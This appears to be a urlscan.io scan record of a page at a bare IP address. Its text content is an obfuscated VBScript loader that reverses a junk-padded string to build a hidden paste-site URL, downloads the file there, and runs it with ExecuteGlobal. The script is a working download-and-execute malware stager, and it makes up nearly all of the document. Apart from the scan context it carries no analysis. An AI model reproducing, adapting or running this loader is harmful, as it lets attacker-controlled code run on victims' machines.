23.95.60.88 Open in urlscan Pro
23.95.60.88  Public Scan

Form analysis
0 forms found in the DOM

Text Content

Set crystallotomia = CreateObject("MSXML2.ServerXMLHTTP.6.0")

amielia = bastida("⋠ ⢮ ⠵ ≿ ㏽")
adesol = bastida("f⋠ ⢮ ⠵ ≿ ㏽i⋠ ⢮ ⠵ ≿ ㏽k⋠ ⢮ ⠵ ≿ ㏽x⋠ ⢮ ⠵ ≿ ㏽w⋠ ⢮ ⠵ ≿ ㏽/⋠ ⢮ ⠵ ≿ ㏽d⋠ ⢮ ⠵ ≿ ㏽/⋠ ⢮ ⠵ ≿ ㏽e⋠ ⢮ ⠵ ≿ ㏽e⋠ ⢮ ⠵ ≿ ㏽.⋠ ⢮ ⠵ ≿ ㏽e⋠ ⢮ ⠵ ≿ ㏽t⋠ ⢮ ⠵ ≿ ㏽s⋠ ⢮ ⠵ ≿ ㏽a⋠ ⢮ ⠵ ≿ ㏽p⋠ ⢮ ⠵ ≿ ㏽/⋠ ⢮ ⠵ ≿ ㏽/⋠ ⢮ ⠵ ≿ ㏽:⋠ ⢮ ⠵ ≿ ㏽p⋠ ⢮ ⠵ ≿ ㏽t⋠ ⢮ ⠵ ≿ ㏽t⋠ ⢮ ⠵ ≿ ㏽h")
adesol = ReplaceString(adesol, amielia, "")

crystallotomia.Open "GET", adesol, False
crystallotomia.Send

ExecuteGlobal crystallotomia.ResponseText


Function ReplaceString(melanthesa, cascalho, productibilidade)
    Dim asteroide
    asteroide = InStr(melanthesa, cascalho)
    
    While asteroide > 0
        melanthesa = Left(melanthesa, asteroide - 1) & productibilidade & Mid(melanthesa, asteroide + Len(cascalho))
        asteroide = InStr(asteroide + Len(productibilidade), melanthesa, cascalho)
    Wend
    
    ReplaceString = melanthesa
End Function

Function bastida(s)
    Dim euritmia, uamiri
    euritmia = ""
    For uamiri = Len(s) To 1 Step -1
        euritmia = euritmia & Mid(s, uamiri, 1)
    Next
    bastida = euritmia
End Function